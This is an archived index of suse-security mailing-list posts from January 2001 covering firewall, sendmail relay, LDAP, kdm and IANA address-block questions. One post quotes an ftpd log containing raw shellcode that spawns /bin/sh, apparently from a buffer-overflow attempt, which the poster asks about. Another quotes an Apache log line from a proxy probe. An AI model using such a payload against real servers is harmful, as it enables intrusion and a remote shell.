But is this although true for the door from the kitchen to the living room ? what i've read is that unix domain sockets are only local. as i can trust the users of my machines it is not important what is happening on local machines, but what is happening over the net. thomas reitelbach >>> Michael Chletsos <mpchlets(a)theotherone.org> Dienstag, 23. Januar 2001 16:31:39 >>> all open ports are a possible security risk. Think about it, if you close all the doors to your hours and bolt them, no one can come in, but if you leave some doors open, especially doors you don't use, people will be able to sneak in. michael On Tue, 23 Jan 2001, Thomas Reitelbach -677 wrote: > Hello listmembers, > > is it possible for a remote cracker to misuse unix domain sockets? > i know the dangers of open tcp or udp ports, but what about these > sockets? > can anyone tell me more about this topic? > > thank you in advance, > Thomas Reitelbach > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > --------------------------------------------------------------------- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

2 1

are unix domain sockets secure?
by Thomas Reitelbach -677 23 Jan '01

23 Jan '01

Hello listmembers, is it possible for a remote cracker to misuse unix domain sockets? i know the dangers of open tcp or udp ports, but what about these sockets? can anyone tell me more about this topic? thank you in advance, Thomas Reitelbach

4 3

ftp/firewall security
by MaD dUCK 23 Jan '01

23 Jan '01

(cc'ing this mail to a couple of LUG mailing lists...) hey all, spawned from a recent discussion on this mailing list (suse-security), i would like to ask the following question: in a NAT'd LAN, how can one enable the use of genuine ftp clients (ncftp, wsftp) as well as netscape/ie that pretend to speak ftp, without allowing all connections to ports 1024+ on the firewall/masquerading host? 99% of all ftp traffic nowadays is passive, so the data transfer happens from port 21 of the server to port x {x | x >= 1024} of the client. our firewall is implemented with ipchains (subject to change sometime), so it's stateless. blocking all ports above 1024 disables not only ftp but a lot of services such as ssh that make use of the ports 1024+ for the client connection. philip snizek suggested closing ports 5000 and up, leaving only some 4000 ports for this usage, but that solution is not what i am looking for because it still leaves 4000 ports open for an attack, and what is more important in this situation, it is very possible that some client program tries to establish a connection to a server with the backward connect (server -> client) being something like x -> 5021. in that case then, the connect will mysteriously fail (i DENY packets rather than to REJECT them). so while it is perfectly understandable to me how and why and what ports under 1024 i have to block and open to secure the machine, the ports above 1024 are a mystery. a lot of networks i have worked in/with/for had firewall policies that allowed anything above 1024, but as philip pointed out, this is asking for trojans. so i am wondering if, besides the installation of a statefull firewall, there is a way to secure the machine without affecting the liberty of the users in the LAN. and do you guys know of free, open-source statefull firewalls for linux? thanks, martin [greetings from the heart of the sun]# echo madduck@!#:1:s@\@@@.net -- echo '[dO%O+38%O+PO/d0<0]Fi22os0CC4BA64E418CE7l0xAP'|dc

10 13

Export
by Jussi Jääskeläinen 23 Jan '01

23 Jan '01

Hi! I just upgrade from Suse 6.2 --> 7.0 I have exported: /home 120.100.100.0/24 (rw,no_root_squash) and I have there directory /home/root what is root's home... when NFS-server was on 6.2 other machines on network could mount home and /root was just link to /home/root now when NFS-server is updated... Some how machines who mounts that resource are NOT handeled as ROOT-users anymore... -- Jussi Jääskeläinen Email: jussi.jaaskelainen(a)audioriders.fi Audio Riders Oy Tel: +358-9-276 6820 direct: +358-9-276 68212 Järvihaantie 4 Mobile: +358-40-554 3689 FIN-01800 KLAUKKALA Fax: +358-9-879 8045 FINLAND WWW: http://www.audioriders.fi

1 0

Is this a security or configuration problem?
by Michael Long 23 Jan '01

23 Jan '01

I am running SuSE 7.0 w/ cable modem and SuSE firewall. This evening while working on the system the mouse and keyboard quit responding and the harddrive started working very hard. Performed ctrl+alt+<backspace> to exit kde2, was successful after a minute or two. next changed from tty2 to tty1 (logged in as root) performed 'ps aux' did ctrl+page up and the terminal became filled with line pattern. Harddrive working hard during this time. Rebooted machine, did 'tail -f /var/log/messages' and got the following: Jan 21 18:52:41 zues init: Switching to runlevel: 6 Jan 21 18:52:53 zues exportfs[32752]: could not open /proc/fs/nfs/exports for locking Jan 21 18:52:57 zues exiting on signal 15 Now when I 'su' it is not logged in the file (it was before this incident). I am a newbie to linux and firewall security so any comments or hints to get the answers to the following questions will be greatly appreciated. What does this exerpt from /var/log/messages mean? Why don't I have any entries in the log when I su to another user? Shouldn't I be getting some messages that relate to the firewall? Thanks in advance, Mike

2 1

pam_ldap+openLDAP on a SuSE 6.4 machine
by Andreas Achtzehn 23 Jan '01

23 Jan '01

Hello folks! I've been trying to implement a pam user authentification on a SuSE 6.4 machine using pam_ldap. Unfortunately I wasn't very successful. This is what a typical entry in my database looks like dn: o=linux-society o: linux-society objectclass: top objectclass: organization dn: ou=editors, o=linux-society ou: editors objectclass: organizationalUnit dn: uid=achtldap, ou=editors, o=linux-society objectclass: account objectclass: person objectclass: posixAccount objectclass: shadowAccount objectclass: inetOrgPerson fullname: Andreas Achtzehn givenname: Andreas uid: achtldap userpassword: test shadowlastchange: 10650 homedirectory:/home/achtzehn loginshell: /bin/bash cn: Andreas Achtzehn sn: Achtzehn uidnumber: 500 gidnumber: 100 ou: editors I've overwritten all files in /etc/pam.d by the appropiate files in /usr/doc/packages/pam_ldap/pam.d. This is what my logfile tells me when I try to login: Jan 21 19:26:19 laptop slapd[7093]: slapd starting I add the entry above to my LDAP... Jan 21 19:27:01 laptop slapd[7093]: conn=0 fd=7 connection from localhost (127.0.0.1) accepted. Jan 21 19:27:01 laptop slapd[7096]: conn=0 op=0 BIND dn="CN=MANAGER,O=LINUX-SOCIETY" method=128 Jan 21 19:27:01 laptop slapd[7096]: conn=0 op=0 RESULT err=0 tag=97 nentries=0 Jan 21 19:27:01 laptop slapd[7097]: conn=0 op=1 ADD dn="O=LINUX-SOCIETY" Jan 21 19:27:01 laptop slapd[7097]: next_id_read: could not open "/usr/tmp/NEXTID" Jan 21 19:27:01 laptop slapd[7097]: conn=0 op=1 RESULT err=0 tag=105 nentries=0 Jan 21 19:27:01 laptop slapd[7098]: conn=0 op=2 ADD dn="OU=EDITORS,O=LINUX-SOCIETY" Jan 21 19:27:01 laptop slapd[7098]: conn=0 op=2 RESULT err=0 tag=105 nentries=0 Jan 21 19:27:01 laptop slapd[7099]: conn=0 op=3 ADD dn="UID=ACHTLDAP,OU=EDITORS,O=LINUX-SOCIETY" Jan 21 19:27:01 laptop slapd[7093]: conn=0 op=-1 fd=7 closed errno=0 Jan 21 19:27:01 laptop slapd[7100]: conn=0 op=4 UNBIND I try to login using a normal console... Jan 21 19:27:01 laptop slapd[7099]: conn=0 op=3 RESULT err=0 tag=105 nentries=0 Jan 21 19:27:28 laptop slapd[7093]: conn=1 fd=7 connection from localhost (127.0.0.1) accepted. Jan 21 19:27:28 laptop slapd[7101]: conn=1 op=0 BIND dn="" method=128 Jan 21 19:27:28 laptop slapd[7101]: conn=1 op=0 RESULT err=0 tag=97 nentries=0 Jan 21 19:27:28 laptop slapd[7102]: conn=1 op=1 SRCH base="O=LINUX-SOCIETY" scope=2 filter="(uid=ACHTLDAP)" Jan 21 19:27:28 laptop slapd[7093]: conn=2 fd=13 connection from localhost (127.0.0.1) accepted. Jan 21 19:27:28 laptop slapd[7093]: conn=1 op=-1 fd=7 closed errno=0 Jan 21 19:27:28 laptop slapd[7102]: conn=1 op=1 RESULT err=0 tag=101 nentries=1 Jan 21 19:27:28 laptop slapd[7103]: conn=1 op=2 UNBIND Jan 21 19:27:28 laptop slapd[7104]: conn=2 op=0 BIND dn="UID=ACHTLDAP,OU=EDITORS,O=LINUX-SOCIETY" method=128 as it seems this was successful... Jan 21 19:27:28 laptop PAM_unix[7063]: (login) session opened for user achtldap by LOGIN(uid=0) Jan 21 19:27:28 laptop slapd[7093]: conn=2 op=-1 fd=13 closed errno=0 Jan 21 19:27:28 laptop slapd[7104]: conn=2 op=0 RESULT err=0 tag=97 nentries=0 What happens? Nothing... After login the console closes again immediately (without showing a prompt). I'm a bit confused about the entry "LOGIN(uid=0)", I don't want the user to log in as root! Has anyone had the same problem. I tried desperately to find a man-page, howto or anything comparable, but without any luck. There a good papers out there on setting up an OpenLDAP-server, but no papers on how to use pam_ldap (even their distributors, padl, do not provide a help-page) So long, Andreas -- -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GCS/CM/IT/P d@ s: !a C++(+) UL++++$ P++ L+++(++++)@ E---- W+++ N+ o? K? w O- M- V- PS PE- Y+ PGP++ t+ 5 X+ R* tv+ b++ DI? D-- G> e@> h!> ------END GEEK CODE BLOCK------ See http://www.ebb.org/ungeek/ on details.

2 1

SecurityPortal - Linux Gets Stateful Firewalling: Introducing Netfilter (iptables)
by Joop Boonen 23 Jan '01

23 Jan '01

http://securityportal.com/cover/coverstory20010122.html

1 0

Re: SuSEfirewall version for Linux 6.3
by webmaster 23 Jan '01

23 Jan '01

dproc, please let me know the exact url of the tarball you installed Antal

2 1

SuSE Firewall 4.2
by Richard 23 Jan '01

23 Jan '01

Dear All After much thought and hacking with a keyboard - kind of thing you'd normally associate with kernel coding - I've downloaded Marc's SuSEfirewall-4.2.tar.gz firewall and installed it into my SuSE 7.0 internet facing dialup box. Looks like this....... -------- -------- ----------- | network | --> | gateway | --> | internet | -------- --------- ----------- Marc's words make for interesting reading. I've read all the stuff that comes with it. After doing ./INSTALL from the /tmp directory I found that it installed in the way that it's supposed to. When I re-booted the machine (no real need for that) I found that the firewall started in the way that it should. However, I now find that when I connect to the net with the local ISDN system all things from my ISP are blocked. I have changed the options in /etc/rc.config.d/firewall.rc.config and tried several things. Still won't let me into the net for web pages or ftp or mail. Pinging my ISP from the gateway box just results in a frozen command line. In /var/log/messages I can see quite a few lines which say...... Packet log: input DENY ippp0 PROTO=17 194.247.47.47:53 194.247.44.222:1032 L=137 S=0x00 I=0 F=0x4000 T=62 (#100) Anyone know what to change here ? Now that I've installed firewall 4.2 I'd like to be able to use it. It would be a shame to throw it away. I need to use ftp, www, mail and ping out from the box to my ISP. Thanks -- Richard

3 2

Re: [suse-security] OpenSSH for sparc doesn't honour tcpwrappers
by Nix 22 Jan '01

22 Jan '01

At 06:32 PM 22/01/2001 +0100, you wrote: >Roman wrote: > >This is all most certainly correct. It is part of the reason why there is > >an update package > > > >ftp://ftp.suse.de/pub/sparc/update/7.0/sec1/openssh-2.3.0p1-0.sparc.rpm > >Nix wrote: > > Well, I was mistakenly using > > ftp://ftp.gwdg.de/linux/suse/sparc/update/7.0/sec1/ > > as my primary download location, as I was under the impression SuSE > preferred > > that people didn't download from their link. The website also states that > > ftp.gwdg.de is the "primary" mirror, so I expected it to be up to date.. > >Actually, it is there as well, but a little harder to find: >ftp://ftp.gwdg.de/linux/suse/ftp.suse.de/suse/sparc/update/7.0/sec1/ > >Kevin >P.S.: Eberhard, you might want to set an appropriate link like the > many others? (Well, figures those links are a neverending story) Yeah, but who is to know when to download from one location and when to get it from another? I would mirror the whole deal myself if I could figure out exactly _what_ to mirror... We need to make it easy for people to find the updates for their distro. Face it, 3/4 of the battle is getting users to actually check the ftp site for updates, once that battle has been overcome, we don't want them to end up with the wrong updates, or none at all, simply because they can't understand the convoluted structure that SuSE have spanning multiple directories AND servers.... Maybe SuSE should look at putting in something like UltraSparrow that will transparently redirect people to the correct server. ie. You keep a full file listing on one central server (outside the US) but when you actually click on a file, it transparently sends you to the geographically closest mirror of that file. (This is very similar to the proprietary system that Akami use, and they claim that they push 5% of all data on the internet) It uses some fancy BGP routing info to calculate the nearest node to you. You would simple have the crypto software as direct links on the server, but all the others balanced. That way US people would get their normal stuff from ftp.suse.com (or another mirror in the US) but their crypto stuff from ftp.suse.de all without them having to think or know about this stuff. Cheers --- Nix - nix(a)susesecurity.com http://www.susesecurity.com

1 0

sendmail - relay
by webmaster 22 Jan '01

22 Jan '01

Hi list, I suppose the log below gives a true picture - relaying denied. Jan 22 09:42:22 mand sendmail[11439]: JAA11439: ruleset=check_rcpt, arg1=<PageTeamX(a)aol.com>, relay=1Cust99.tnt2.richmond.in.da.uu.net [63.26.248.99], reject=550 <PageTeamX(a)aol.com>... Relaying denied Jan 22 09:42:24 mand sendmail[11439]: JAA11439: ruleset=check_rcpt, arg1=<Webmaster(a)ztry.fsnet.co.uk>, relay=1Cust99.tnt2.richmond.in.da.uu.net [63.26.248.99], reject=550 <Webmaster(a)ztry.fsnet.co.uk>... Relaying denied Please, inform, how to secure and check sendmail port 25 agaist such abuses. Antal

5 4

SuSE Security FAQ Version 0.4
by Nix 22 Jan '01

22 Jan '01

Just a quick note to: a) Announce a new version of the list FAQ (Version 0.4) b) Let Newbies to the list know that we have an FAQ I have just updated it, as off about 10min ago, but the date on the server appears to be wrong, so Ignore the date stamp at the top. I have been fooling about with web redirects and the faq should be at http://www.susesecurity.com/faq/ if this does not work for you, the FAQ is still at it's original path of http://www.cotse.com/nix/suse-security-faq/ The FAQ is still a little inconsistent in places, and it needs an index among other things, but I have been pretty busy. It does have some more content however, and the existing content has been tidied a little.. Cheers --- Nix - nix(a)susesecurity.com http://www.susesecurity.com

1 0

re sendmail -relay
by webmaster 22 Jan '01

22 Jan '01

Hi list, thanks for the ideas. Issue being fwded to the isp provider. Antal

1 0

AW: [suse-security] sendmail - relay
by Stiefenhofer, Marek ECOFIS 22 Jan '01

22 Jan '01

What about a funny banner for all uunet mailers (maybe frees some cpu too): /etc/hosts.deny: sendmail : .uu.net : twist /bin/cat /etc/spamnotwelcome /etc/spamnotwelcome: --- start --- .adAMMMb. .dAMMMAbn. .adAWWWWWWWWWAuAWWWWWWWWWWAbn. .adWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWbn. ..adMMMMMP^~".--"~^YWWWWWWWWWWHHMMMMMMMMbn.. "~^Y" / ..dMWMP".ammmmdMMMUP^~" | Y dMAbammdAMMMMMMP^~" | | MMMMMMMMMMMMU^" l : Y^YUWWWWUP^" \ j "-..,.^ Dear postmaster, due to heavy spamming we've decided to temporarily deny SMTP connections from uunet domains. SORRY --- end ---

1 0

SuSEfirewall 4.2 - FW_FORWARD_MASQ_TCP
by Wolfram Schlich 22 Jan '01

22 Jan '01

Hello! I don't understand the following: --snip-- # Hint: if FW_DEV_MASQ is set to the external \ interface you have to set # FW_FORWARD_* from internal to DMZ for the \ service as well! --snip-- (It _is_ the ext. i.f. ...) I want to use --snip-- FW_FORWARD_MASQ_TCP="0.0.0.0/0,192.168.0.20,80" --snip-- , but it doesn't work :( Can someone please reveal the secret of Marc's sentence? ;) Thanks in advance. Regards, Mit freundlichen Grüssen Wolfram Schlich * X-Media Consulting / Itabonn Adenauerallee 113 **** 53113 Bonn **** Germany Phone: +49.228.5388075 ** Fax: +49.228.5388031

3 2

Re: [suse-security] Incoming SMTP port filtering options with IPCHAINS
by Nix 21 Jan '01

21 Jan '01

At 01:49 PM 19/01/2001 +0200, you wrote: >Hi All > >What are the best options for filtering incoming Packets on the SMTP port >with IPCHAINS (I know they are limited) , but still allowing the service to >receive mail. Postfix is my MTA. IPCHAINS is NOT an application level firewall, and as such does not understand the SMTP protocol. You either allow port 25 or you don't, you can enable/disable certain commands like Gauntlet Firewall can for instance. I was talking to Rusty (the Ipchains/netfilter programer) about this yesterday, and he is thinking of writing for application level stuff for netfilter, but it has not been done yet... Hope that Helps --- Nix - nix(a)susesecurity.com SuSE-Security FAQ Maintainer http://www.susesecurity.com

1 1

SuSEfirewall version for Linux 6.3
by dproc 21 Jan '01

21 Jan '01

Which is the latest stable (non-beta) version of Marc's script that is compatible with SuSE 6.3 ? I ask because the latest in the updates directory for 6.3 is version 2.1. The 7.0 distro has version 2.6 and Volker K. has packaged version 3.2 for the contribs directory. So I am confused. dproc

1 1

re proc info
by webmaster 21 Jan '01

21 Jan '01

Ralf, try http://www.bb-zone.com/Proc/index.html Antal

1 0

Re: [SLE] Re: AW: [suse-security] Why does sendmail deny relaying?
by Garry Smith 21 Jan '01

21 Jan '01

Hi John, I tried the dot notation you mentioned. That's fixed it. Thanks very much. As for Postfix, I think you might be right :-) regards Garry john wrote: > > I've just had the same problem as you. Upgraded from 6.3 to 7.0 and mail > relaying broke, despite having an unchanged relay-domains. Having battled > with this for hours and out of a willingness to try ANYTHING I added my > internal domain to relay-domains in dot notation -- hey presto it worked. > > Oh, I also commented out the Privacy line you mentioned to get rid of those > messages too ... why is the default behaviour of sendmail now to DNS lookup > every bloody system that mail comes in on? > > This is the last straw .. I have disliked sendmail for some time now because > you have you reach sendmail-guru status before you can even start to fiddle > with anything that lives outside of rc.config ... time do dump [that] > garbage into the bit bucket and learn me some Postfix. > > John > > -----Original Message----- > From: garry(a)suse.com [mailto:garry@suse.com]On Behalf Of Garry Smith > Sent: 17 January 2001 14:19 > To: suse-linux-e(a)suse.com > Cc: suse-linux-security(a)suse.com; garry.smith(a)computer.org > Subject: [SLE] Re: AW: [suse-security] Why does sendmail deny relaying? > > Hi, > > uname -a : Linux homer 2.2.16-SMP #1 SMP Wed Aug 2 20:01:21 GMT 2000 > i686 unknown > sendmail version: starting daemon (8.10.2): SMTP+queueing@00:30:00 > (from mail log) > > I also have a problem with relaying in sendmail. > I would like machines from domain a, b and c to be able to use my mail > server (SuSE Linux 7.0 Pro) to send mails to any other domain. > > Initially I inserted domains a, b,and c into /etc/mail/relay-domains. > This allowed me to pass on mails from remote clients to one of the > listed domains. > > Sending a mail to a domain not listed causes the following error to > appear in the sender's mail client: > > An error occurred while sending mail > The mail server responded: > 5.7.1 <Garry.Smith(a)computer.org>... Relaying denied. IP name lookup > failed [x.x.x.x] Please check the message recipients and try again. > > My log mail log file shows: > Jan 17 12:40:08 homer sendmail[18328]: starting daemon (8.10.2): > SMTP+queueing@0 > 0:30:00 > Jan 17 12:40:08 homer sendmail[18328]: daemon could not open control > socket /var > /run/sendmail.control: Group writable directory > Jan 17 12:41:23 homer sendmail[18347]: f0HCfML18347: ruleset=check_rcpt, > arg1=<G > arry.Smith(a)computer.org>, relay=[x.x.x.x], reject=550 5.7.1 > <Garry.Smith@ > computer.org>... Relaying denied. IP name lookup failed [x.x.x.x] > Jan 17 12:41:23 homer sendmail[18347]: f0HCfML18347: > from=<Garry.Smith@computer. > org>, size=0, class=0, nrcpts=0, proto=ESMTP, daemon=MTA, > relay=[x.x.x.x] > > I have since removed the entries for /etc/mail/relay-domains. > I have also commented out the sendmail.cf authentification warning entry > as described in one on the recent related mails on this. > # privacy flags > > > O PrivacyOptions=needmailhelo,novrfy,noexpn,noetrn,noverb > > > > and restarted sendmail > > I followed the instructions below and added domains A,B and C to > access.db ie: > a-sub-domain.a-domain ACCEPT > > I then ran the Makefile and restarted sendmail. > I still get the relay error listed above. The only way I can seem to > get round this is if I add domains A,B and C back into > /etc/mail/relay-domains file. > > However, while I can then use my mail server to relay mail to those > domains, I cannot relay to other un-listed domains. > > How can I specify that domains A,B and C are allowed to use my mail > server to relay messages to any other domain on the Internet? > I must be missing something fundamental here, but can't think what? > > Many thanks in advance > regards > > Garry > > Roman Drahtmueller wrote: > > > > > > > > If you put in access.db > > > 212.121.144.197 ACCEPT > > > > > > it will work. > > > > Yes, and don't forget to hash the plaintextfile. Use the Makefile that > > I've put in the attachment. Place it in /etc/mail, go there and type make. > > Little gift from the 7.1 sendmail package... > > > > > > > > Philipp > > > > Thanks, > > Roman. > > -- > > - - > > | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | > > SuSE GmbH - Security Phone: // not enable user to fly." > > | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | > > - - > > > > ------------------------------------------------------------------------ > > Name: Makefile > > Makefile Type: Plain Text (TEXT/PLAIN) > > Encoding: BASE64 > > Description: Makefile for /etc/mail > > > > ------------------------------------------------------------------------ > > --------------------------------------------------------------------- > > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > > For additional commands, e-mail: suse-security-help(a)suse.com > > -- > To unsubscribe send e-mail to suse-linux-e-unsubscribe(a)suse.com > For additional commands send e-mail to suse-linux-e-help(a)suse.com > Also check the FAQ at http://www.suse.com/support/faq

1 0

ICMP with Source Address 192.168.100.83 !
by uwe_kersten＠t-online.de 21 Jan '01

21 Jan '01

Hi all! My Snort tells me this evening about several ICMP packets with source address 192.168.100.83 (my net is 192.168.0.x and 192.168.1.x). They had the signature ICMP TTL Exceeded in Transit. Destination was the IP of my ippp0. This is a dynamic one, but these packets got to different IP numbers on my SuSE 7 Box. So what, I am quiet new in this business, do I have to worry, what is this all about? Any idea? Regards Uwe

2 1

Apache Log - rusftpsearch is back
by Ulrich Klenk 20 Jan '01

20 Jan '01

Hello all, found this one in an Apache access-log-file: "GET http://www.rusftpsearch.net/cgi-bin/pst.pl?pstmode=writeip&psthost=195.37.62 .127&pstport=80". Can someone please point me to some information for that probe? What were they doing? I found something about this in the list for December 1999, but there are only discussions about rusftpsearch.net.. Greetings, Uli

2 1

re spam relay? Thanks for all!
by webmaster 19 Jan '01

19 Jan '01

Thnaks Antal

1 0

Unauthorized entry?
by Luis José Fabbiani B. (SOPORTE) 19 Jan '01

19 Jan '01

Hi, my server had registry de following entry: Jan 11 06:02:36 cumana in.ftpd[23016]: connect from pedro(a)150.185.69.34 Jan 11 06:02:36 cumana ftpd[23016]: connection from complex.ciens.ucv.ve Jan 11 06:02:37 cumana ftpd[23016]: ANONYMOUS FTP LOGIN FROM complex.ciens.ucv.ve ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ P~P~P~P~P~P~P~P~P~P1À1Û1É°FÍ~@1À1ÛC~IÙA°?Í~@ëk^1À1É~M^^A~HF^Df¹ÿ^A°'Í~@1À~M^^ A°=Í~@1À1Û~M^^H~IC^B1ÉþÉ1À~M^^H°^LÍ~@þÉuó1À~HF^I~M^^H°=Í~@þ^N°0þÈ~HF^D1À~HF^ G~Iv^H~IF^L~Ió~MN^H~MV^L°^KÍ~@1À1Û°^AÍ~@è~Pÿÿÿ0bin0sh1..11 Is this message a possible attack? Thanks. Luis.

3 4

AW: [suse-security] passwd
by Stiefenhofer, Marek ECOFIS 19 Jan '01

19 Jan '01

> I don't see any kind of passwd database on SuSE 6.4. /etc/passwd /etc/shadow

11 24

passwd
by Egan 19 Jan '01

19 Jan '01

I don't see any kind of passwd database on SuSE 6.4. How many users can I get in the passwd file before things slow down?

2 1

syslog.conf question
by vladimir m. bondarev 19 Jan '01

19 Jan '01

Hello, suse-security. i have a 3com dialup pool in my network called "ras1500". it logs everything to linux server. all messages by default come to /var/log/messages. how can i make them to log into /var/log/ras. i've tryed to add: ras1500 -/var/log/ras, but received nothing. all messages still log to /var/log/messages another question: how can i log all services (like pop3 and others, except sendmail (it logs to /var/log/mail) to /var/log/services? and the last one: how can i make the logs unable to be edited? i've tryed chattr +a, but then logrotate can't delete old files. Friday, January 19, 2001 -- vladimir m. bondarev, icq uin: 62393277 paradox team web: http://scene.org.ru

1 0

is it a spam relay?
by webmaster 19 Jan '01

19 Jan '01

Please, help me understand this log: Jan 19 06:51:06 mand sendmail[2353]: GAA02353: ruleset=check_mail, arg1=<nobody(a)server1.ssdcn.net>, relay=[12.110.33.133], reject=501 <nobody(a)server1.ssdcn.net>... Sender domain must exist Jan 19 06:53:36 mand sendmail[2355]: GAA02355: ruleset=check_mail, arg1=<nobody(a)server1.ssdcn.net>, relay=[12.110.33.133], reject=501 <nobody(a)server1.ssdcn.net>... Sender domain must exist Antal webmaster(a)kreorg.hu

2 1

Re: [suse-security] kdm - shows all user on login screen
by andreas.baetz＠herma.de 19 Jan '01

19 Jan '01

Andreas Tirok wrote > > The initial idea was to hide the other users > to any non authorized person, which has no > account. (...) They may notice the accounts > and try to break in from home or somewhere > else. In fact there is a firewall, but > I want to prevent this scenario. Try setting UserView=false in kdmrc Andreas Baetz ********************************************************************** This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been scanned for the presence of computer viruses. **********************************************************************

1 0

Incoming SMTP port filtering options with IPCHAINS
by Steven Thompson 19 Jan '01

19 Jan '01

Hi All What are the best options for filtering incoming Packets on the SMTP port with IPCHAINS (I know they are limited) , but still allowing the service to receive mail. Postfix is my MTA. Thanks in advance Steven

1 0

kdm - shows all user on login screen
by Andreas Tirok 19 Jan '01

19 Jan '01

Hi List, is there any thing I can do to suppress the listing of all system known users on the logon screen of kdm. I think it is not a good idea to give the people a clue as wich users they might login. thx andy -- ------------------------------- mailto:Andreas.Tirok@beusen.de fon: +49 30 549932-37 fax: +49 30 549932-21

6 5

Re: [suse-security] IANA address space updates
by Boris Lorenz 19 Jan '01

19 Jan '01

Hi, On 19-Jan-01 Richard wrote: > Boris > > On Friday 19 January 2001 10:57, you wrote: > rvers... >> >> You will find the revised list on >> www.isi.edu/iana/assignments/ipv4-address-space, or here: >> >> INTERNET PROTOCOL ADDRESS SPACE >> >> The allocation of Internet Protocol version 4 (IPv4) address space >> to various registries is listed here. Originally, all the IPv4 >> address spaces was managed directly by the IANA. Later parts of >> the address space were allocated to various other registries to >> manage for particular purposes or regional areas of the world. RFC >> 1466 documents most of these allocations. > > > Now all I have to do is try to understand what to do with it :)) IANA used to assign any netblock on the internet, from 000/8 to 255/8. After a while they decided to transfer the authority for certain address space ranges to other registrars like RIPE, APNIC, DENIC, ARIN and so forth. There are still a number of netblocks assigned to IANA, so if you build firewalls you may want to exclude these from normal traffic because there are no users or hosts in these reserved ranges who may contact you. Connection attempts from these address ranges are most certainly spoofed and should be treated seriously. If you use ipchains, all you have to do is to block these ranges. Like this: ipchains -A input -i eth0 -s 1.0.0.0/8 -j DENY -l This command line denies access for any host in the range 1.0.0.0/8 and logs connection attempts to your syslog. 1.0.0.0/8 (as you can see from my list posted earlier) still is reserved by IANA and should be blocked. Dito with other ranges which are marked "IANA - Reserved". You should check back to IANAs website from time to time for updates. Just don't block any ranges currently managed by other registrars than IANA because some of these netblocks may have been given to ISPs. If you block them, some users of these ISPs would not be able to contact you anymore. Hope this helps. Boris > Thanks > > -- > Richard --- Boris Lorenz <bolo(a)lupa.de> System Security Admin *nix - *nux ---

1 0

IANA address space updates
by Boris Lorenz 19 Jan '01

19 Jan '01

Hi, if you have excluded several address ranges reserved by IANA in your firewall scripts (particularly if you got it from Robert L. Ziegler's www.linux-firewall-tools.com) you should note that some ranges have been left over to other registrars. For instance, netblock 217/8 has been given to RIPE and they gave it to T-Online, that's why I got some "strange" log entries from people with their T-Online accounts desperately trying to fetch mail or use our web servers... You will find the revised list on www.isi.edu/iana/assignments/ipv4-address-space, or here: INTERNET PROTOCOL ADDRESS SPACE The allocation of Internet Protocol version 4 (IPv4) address space to various registries is listed here. Originally, all the IPv4 address spaces was managed directly by the IANA. Later parts of the address space were allocated to various other registries to manage for particular purposes or regional areas of the world. RFC 1466 documents most of these allocations. Address Block Registry - Purpose Date --------------- --------------------------------------- ------ 000/8 IANA - Reserved Sep 81 001/8 IANA - Reserved Sep 81 002/8 IANA - Reserved Sep 81 003/8 General Electric Company May 94 004/8 Bolt Beranek and Newman Inc. Dec 92 005/8 IANA - Reserved Jul 95 006/8 Army Information Systems Center Feb 94 007/8 IANA - Reserved Apr 95 008/8 Bolt Beranek and Newman Inc. Dec 92 009/8 IBM Aug 92 010/8 IANA - Private Use Jun 95 011/8 DoD Intel Information Systems May 93 012/8 AT&T Bell Laboratories Jun 95 013/8 Xerox Corporation Sep 91 014/8 IANA - Public Data Network Jun 91 015/8 Hewlett-Packard Company Jul 94 016/8 Digital Equipment Corporation Nov 94 017/8 Apple Computer Inc. Jul 92 018/8 MIT Jan 94 019/8 Ford Motor Company May 95 020/8 Computer Sciences Corporation Oct 94 021/8 DDN-RVN Jul 91 022/8 Defense Information Systems Agency May 93 023/8 IANA - Reserved Jul 95 024/8 IANA - Cable Block Jul 95 025/8 Royal Signals and Radar Establishment Jan 95 026/8 Defense Information Systems Agency May 95 027/8 IANA - Reserved Apr 95 028/8 DSI-North Jul 92 029/8 Defense Information Systems Agency Jul 91 030/8 Defense Information Systems Agency Jul 91 031/8 IANA - Reserved Apr 99 032/8 Norsk Informasjonsteknologi Jun 94 033/8 DLA Systems Automation Center Jan 91 034/8 Halliburton Company Mar 93 035/8 MERIT Computer Network Apr 94 036/8 IANA - Reserved Jul 00 (Formerly Stanford University) Apr 93 037/8 IANA - Reserved Apr 95 038/8 Performance Systems International Sep 94 039/8 IANA - Reserved Apr 95 040/8 Eli Lily and Company Jun 94 041/8 IANA - Reserved May 95 042/8 IANA - Reserved Jul 95 043/8 Japan Inet Jan 91 044/8 Amateur Radio Digital Communications Jul 92 045/8 Interop Show Network Jan 95 046/8 Bolt Beranek and Newman Inc. Dec 92 047/8 Bell-Northern Research Jan 91 048/8 Prudential Securities Inc. May 95 049/8 